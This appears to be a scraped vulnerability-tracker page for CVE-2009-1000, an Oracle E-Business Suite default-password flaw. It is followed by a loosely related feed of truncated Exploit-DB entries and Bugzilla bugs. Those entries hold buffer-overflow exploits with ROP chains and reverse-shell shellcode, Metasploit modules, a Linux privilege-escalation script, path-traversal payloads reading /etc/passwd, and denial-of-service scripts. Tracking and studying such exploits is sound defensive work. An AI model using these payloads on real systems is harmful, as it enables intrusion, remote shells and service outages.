CVE-2009-1000
published 2009-04-15CVE-2009-1000: The Oracle Applications Framework component in Oracle E-Business Suite 12.0.6 and 11i10CU2 uses default passwords for unspecified "FND Applications Users (not…
PriorityP431high7.5CVSS 2.0
AVNACLAuNCPIPAP
EPSS
1.77%
75.8th percentile
The Oracle Applications Framework component in Oracle E-Business Suite 12.0.6 and 11i10CU2 uses default passwords for unspecified "FND Applications Users (not DB users)," which has unknown impact and attack vectors.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | e-business_suite | — | — |
| oracle | e-business_suite | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Easy RM to MP3 Converter 2.7.3.700 - '.m3u' File (Universal ASLR + DEP Bypass)
exploitdb·2016-06-13·CVSS 9.3
CVE-2009-1330 [CRITICAL] Easy RM to MP3 Converter 2.7.3.700 - '.m3u' File (Universal ASLR + DEP Bypass)
Easy RM to MP3 Converter 2.7.3.700 - '.m3u' File (Universal ASLR + DEP Bypass)
---
# Exploit Title: Easy RM to MP3 Converter 2.7.3.700 (.m3u) File BoF Exploit with Universal DEP+ASLR bypass
# Date: 2016-06-12
# Exploit Author: Csaba Fitzl
# Vendor Homepage: N/A
# Software Link: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
# Version: 2.7.3.700
# Tested on: Windows 7 x64
# CVE : CVE-2009-1330
import struct
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
# added missing parts, and some optimisation by Csaba Fitzl
rop_gadgets = [
#mov 1000 to EDX - Csaba
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x10025a1c, # XOR EDX,EDX # RETN
0x1002bc3d, # MOV EAX,411 # R
Exploit-DB
Accellion File Transfer - 'Appliance web_client_user_guide.html?lang' Traversal Arbitrary File Access
exploitdb·2010-02-10
CVE-2009-4645 Accellion File Transfer - 'Appliance web_client_user_guide.html?lang' Traversal Arbitrary File Access
Accellion File Transfer - 'Appliance web_client_user_guide.html?lang' Traversal Arbitrary File Access
---
source: https://www.securityfocus.com/bid/38176/info
Accellion File Transfer Appliance is prone to multiple remote vulnerabilities, including:
- Multiple privilege-escalation issues
- A directory-traversal issue
- An HTML-injection issue
- A remote command-injection issue
An attacker may leverage these issues to execute arbitrary script code within the context of the webserver, steal cookie-based authentication credentials, obtain sensitive information, and execute arbitrary code or commands with superuser privileges. Other attacks are also possible.
https://www.example.com/courier/1000@1276123d688676a09e0100b4f54b239c/web_client_user_guide.html?lang=../../../../../etc/passwd
Exploit-DB
Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit)
exploitdb·2009-12-07
CVE-2009-4195 Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit)
Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit)
---
require 'msf/core'
class Metasploit3 'Adobe Illustrator CS4 v14.0.0',
'Description' => %q{
Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
overlong DSC Comment Buffer Overflow Exploit
},
'License' => MSF_LICENSE,
'Author' => [ 'dookie, original by Nine:Situations:Group::pyrokinesis' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10281' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0D\x0C\x0A",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x4B4B5173 } ], # CALL ESI in icudt36.dll
],
'Privileged' => false,
'D
Exploit-DB
PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow (Metasploit)
exploitdb·2009-12-06
CVE-2009-4265 PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow (Metasploit)
PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow (Metasploit)
---
require 'msf/core'
class Metasploit3 'IDEAL Administration 2009 Buffer Overflow - Universal',
'Description' => %q{
This module exploits a stack overflow in IDEAL Administration v9.7.
By creating a specially crafted ipj file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'dookie, original by Dr_IDE' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10319' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x3c\x22\x3e\x1a\x0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => 0x10010F2E } ], # ListWmi.dll
Exploit-DB
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)
exploitdb·2009-11-12
CVE-2009-3547 Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)
---
while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT="${OUT%% *}"
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
echo n > /proc/$OUT/fd/1 # Trigger defect
done
Exploit-DB
Audacity 1.2 - '.gro' Universal Buffer Overflow (Egghunter)
exploitdb·2009-08-24
CVE-2009-0490 Audacity 1.2 - '.gro' Universal Buffer Overflow (Egghunter)
Audacity 1.2 - '.gro' Universal Buffer Overflow (Egghunter)
---
#!/usr/bin/env python
#
# Audacity
print " [+] Creating eviL .gro file..."
buff = ("\x44" * 174)
buff += ("\xEB\x08\x90\x90")
buff += ("\x22\x23\x17\x01")
buff += "\x90"* 4
buff += ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x57\x30\x30\x54" # this is the egg...
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")
buff += ("\xCC" * 1000);
buff += "W00TW00T"
# Reverse shellcode to 192.168.2.3 change as you see fit (2000 bytes for space)
buff += ("\x89\xe5\xd9\xc3\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4
Exploit-DB
Linux Kernel 2.6.x - 'drivers/char/tty_ldisc.c' Null Pointer Dereference Denial of Service
exploitdb·2009-08-19
CVE-2009-3043 Linux Kernel 2.6.x - 'drivers/char/tty_ldisc.c' Null Pointer Dereference Denial of Service
Linux Kernel 2.6.x - 'drivers/char/tty_ldisc.c' Null Pointer Dereference Denial of Service
---
/*
source: https://www.securityfocus.com/bid/36191/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to crash the affected kernel, denying service to legitimate users. Given the nature of this issue, attackers may also be able to execute arbitrary code, but this has not been confirmed.
This issue was introduced in Linux kernel 2.6.26 and fixed in 2.6.31-rc8.
*/
/* gcc -o KernelTtyTest KernelTtyTest.c -Wall -O2 -lutil */
#define _GNU_SOURCE 1
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define POLL_TIMEOUT (10*1000) /* in milliseconds */
#define LASTBUFSZ 10000
#define CMDBUFSZ 1
Exploit-DB
Sourcefire 3D Sensor & Defense Center 4.8.x - Privilege Escalation
exploitdb·2009-07-02
CVE-2009-2344 Sourcefire 3D Sensor & Defense Center 4.8.x - Privilege Escalation
Sourcefire 3D Sensor & Defense Center 4.8.x - Privilege Escalation
---
Affected product
Sourcefire 3D Sensor and Defense Center 4.8.x
Tested on 4.8.0.3 and 4.8.0.4, 3D Sensor 2500 & DC 1000
All 4.8.x releases, up to and including 4.8.1, confirmed vulnerable by sourcefire.
Vulnerability details
A privilege escalation vulnerability found in the Sensor and the DC web based management interfaces allows any local account
to take over the appliances administrator role.
While the "user.cgi" PERL script correctly validates that incoming requests belong to an authenticated session, in such a case
it also blindly grants read/write access to all accounts configuration with no regard for the role of the request's originator.
Therefore a user with even the lowest level of access (ie. without any
Exploit-DB
ARD-9808 DVR Card Security Camera - GET Remote Denial of Service
exploitdb·2009-07-01
CVE-2009-2305 ARD-9808 DVR Card Security Camera - GET Remote Denial of Service
ARD-9808 DVR Card Security Camera - GET Remote Denial of Service
---
import socket
import sys
print "----------------------------------------------------------------"
print " ARD-9808 DVR Card Security Camera <= Remote Denial Of Service "
print " author: Stack "
print "----------------------------------------------------------------"
host = "127.0.0.1"
port = 80
try:
buff = "//.\\" * 1000
request = "GET " + buff + " HTTP/1.0"
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((host, port))
connection.send(request)
raw_input('\n\nExploit completed. Press "Enter" to quit...')
sys.exit
except:
raw_input('\n\nUnable to connect. Press "Enter" to quit...')
# milw0rm.com [2009-07-01]
Exploit-DB
VideoLAN VLC Media Player 0.9.9 - 'smb://' URI Stack Buffer Overflow (PoC)
exploitdb·2009-06-29
CVE-2009-2484 VideoLAN VLC Media Player 0.9.9 - 'smb://' URI Stack Buffer Overflow (PoC)
VideoLAN VLC Media Player 0.9.9 - 'smb://' URI Stack Buffer Overflow (PoC)
---
#!/usr/bin/ruby
# VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept)
#
# Bugtraq ID: 35500
#
# The vulnerability can also be triggered via the VLC web interface (disabled by default):
# http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............
#
# Patch:
# http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f
#
# Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest).
#
# Trancer
# http://www.rec-sec.com
foo = "A" * 58
bar = "B" * 4
baz = "C" * 1000
b00m = foo + bar + baz
xspf = %Q|
Playlist
smb://[email protected]/foo/#{b00m}
0
|
playlist = File.new("vlc_smb.xspf","wb"
Exploit-DB
Carom3D 5.06 - Unicode Buffer Overrun/Denial of Service
exploitdb·2009-06-16
CVE-2009-2173 Carom3D 5.06 - Unicode Buffer Overrun/Denial of Service
Carom3D 5.06 - Unicode Buffer Overrun/Denial of Service
---
#!/usr/bin/perl
#
# Title: Carom3D 5.06 Unicode Buffer Overrun/Denial Of Service Vulnerability
#
#
# Summary: Carom 3D is an online multi-user billiard game created with special
# 3D graphic effects bringing every aspect such as 6 ball, 9 ball, 8
# ball and other Billiard games to life.
#
# Product Web Page: http://www.carom3d.com/
#
# Description: The world famous korean game Carom3D suffers from a buffer overflow
# and a denial of service vulnerability. The BoF is triggered at
# runtime when we append 218 > bytes as an argument. ~1000 bytes
# overwrites SEH. The denial of service is triggered when a user
# creates a LAN Game (cred. needed), creates a room and awaits
# other players to join the game. While awaiting (listening o
Exploit-DB
GeoVision LiveX 8200 - ActiveX 'LIVEX_~1.OCX' File Corruption
exploitdb·2009-02-16
CVE-2009-0865 GeoVision LiveX 8200 - ActiveX 'LIVEX_~1.OCX' File Corruption
GeoVision LiveX 8200 - ActiveX 'LIVEX_~1.OCX' File Corruption
---
function sleep(n)
{
var now = new Date();
var exitTime = now.getTime() + (n*1000);
while (true) {
now = new Date();
if (now.getTime() > exitTime) return;
}
}
sleep(2);
//WebCamX1.SetCntDeviceType(0);
//WebCamX1.EnableAutoScreenSize(1);
//WebCamX1.SetInfo(125,1,0,"","");
//WebCamX1.SetInfo(129,1,0,"","");
//WebCamX1.SetUpdateInfo(100, "WebCam", 0, "", 8200, 0,0);
//WebCamX1.DefaultCam = 1;
WebCamX1.PlayX();
sleep(2);
WebCamX1.SnapShotToFile("../../../../../../../../../../../windows/system.ini");
WebCamX1.SnapShotX();
# milw0rm.com [2009-02-16]
Exploit-DB
Microsoft Windows XP/2000/2003 - Desktop Wall Paper System Parameter Privilege Escalation
exploitdb·2009-02-02
CVE-2009-1808 Microsoft Windows XP/2000/2003 - Desktop Wall Paper System Parameter Privilege Escalation
Microsoft Windows XP/2000/2003 - Desktop Wall Paper System Parameter Privilege Escalation
---
// source: https://www.securityfocus.com/bid/35120/info
Microsoft Windows is prone to a local privilege-escalation vulnerability.
Attackers may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will facilitate the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.
#include
int main()
{
WCHAR c[1000] = {0};
memset(c, �c�, 1000);
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)c, 0);
WCHAR b[1000] = {0};
SystemParametersInfo(SPI_GETDESKWALLPAPER, 1000, (PVOID)b, 0);
return 0;
}
Exploit-DB
2WIRE Modems/Routers - 'CRLF' Denial of Service
exploitdb·2006-08-22
CVE-2009-3962 2WIRE Modems/Routers - 'CRLF' Denial of Service
2WIRE Modems/Routers - 'CRLF' Denial of Service
---
//Vulnerable:
//2Wire OfficePortal 0
//2Wire HomePortal 1500W
//2Wire HomePortal 100W
//2Wire HomePortal 100S
//2Wire HomePortal 1000W
//2Wire HomePortal 1000SW
//2Wire HomePortal 1000S
//2Wire HomePortal 1000
//2Wire HomePortal 0
////////////////////////////////// [ STARTING CODE ]
////////////////////////////////////////////////////
////
//// [ Explanation ] this PoC make an evil_request
//// and send to the server , when the server process
//// it the request fall him, AND THE MODEM WILL RESET!.
////
//// [ Note ] This Poc was coded using Dev-C++ 4.9.9.2
//// If you have any error with the librarys you need
//// include libws2_32.a at the project.
////
//// Enjoy it n_nU!..
//// Coded by preth00nker (using Mexican skill!)
#pragma co
Bugzilla
CVE-2009-0217 xmlsec1, mono, xml-security-c, xml-security-1.3.0-1jpp.ep1.*: XMLDsig HMAC-based signatures spoofing and authentication bypass [epel-5]
bugzilla·2011-04-06·CVSS 5.0
CVE-2009-0217 [MEDIUM] CVE-2009-0217 xmlsec1, mono, xml-security-c, xml-security-1.3.0-1jpp.ep1.*: XMLDsig HMAC-based signatures spoofing and authentication bypass [epel-5]
CVE-2009-0217 xmlsec1, mono, xml-security-c, xml-security-1.3.0-1jpp.ep1.*: XMLDsig HMAC-based signatures spoofing and authentication bypass [epel-5]
epel-5 tracking bug for mono: see blocks bug list for full details of the security issue(s).
This bug is never intended to be made public, please put any public notes
in the 'blocks' bugs.
[bug automatically created by: add-tracking-bugs]
Discussion:
Hi Xavier,
Are there any plans to update the version of mono and associaated mono packages in epel for el5? If not should we look at retiring the package(s)?
Regards,
JT
---
I have now retired Mono 1.2 from Epel5.
I recommend to use Mono 4.2 in Epel7.
---
The needinfo request[s] on this closed bug have been removed as they have been unresolved for 1000 days
Bugzilla
CVE-2009-3547 kernel: fs: pipe.c null pointer dereference
bugzilla·2009-10-23·CVSS 7.0
CVE-2009-3547 [HIGH] CVE-2009-3547 kernel: fs: pipe.c null pointer dereference
CVE-2009-3547 kernel: fs: pipe.c null pointer dereference
Quote from the upstream commit:
fs: pipe.c null pointer dereference
This patch fixes a null pointer exception in pipe_rdwr_open() which generates the stack trace:
> Unable to handle kernel NULL pointer dereference at 0000000000000028 RIP:
> [] pipe_rdwr_open+0x35/0x70
> [] __dentry_open+0x13c/0x230
> [] do_filp_open+0x2d/0x40
> [] do_sys_open+0x5a/0x100
> [] sysenter_do_call+0x1b/0x67
The failure mode is triggered by an attempt to open an anonymous pipe via /proc/pid/fd/* as exemplified by this script:
while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT="${OUT%% *}"
DELAY=$((RANDOM * 1000 / 32768))
usleep $((
http://osvdb.org/53755http://secunia.com/advisories/34693http://www.oracle.com/technetwork/topics/security/cpuapr2009-099563.htmlhttp://www.securityfocus.com/bid/34461http://www.securitytracker.com/id?1022056http://www.us-cert.gov/cas/techalerts/TA09-105A.htmlhttp://osvdb.org/53755http://secunia.com/advisories/34693http://www.oracle.com/technetwork/topics/security/cpuapr2009-099563.htmlhttp://www.securityfocus.com/bid/34461http://www.securitytracker.com/id?1022056http://www.us-cert.gov/cas/techalerts/TA09-105A.html
2009-04-15
Published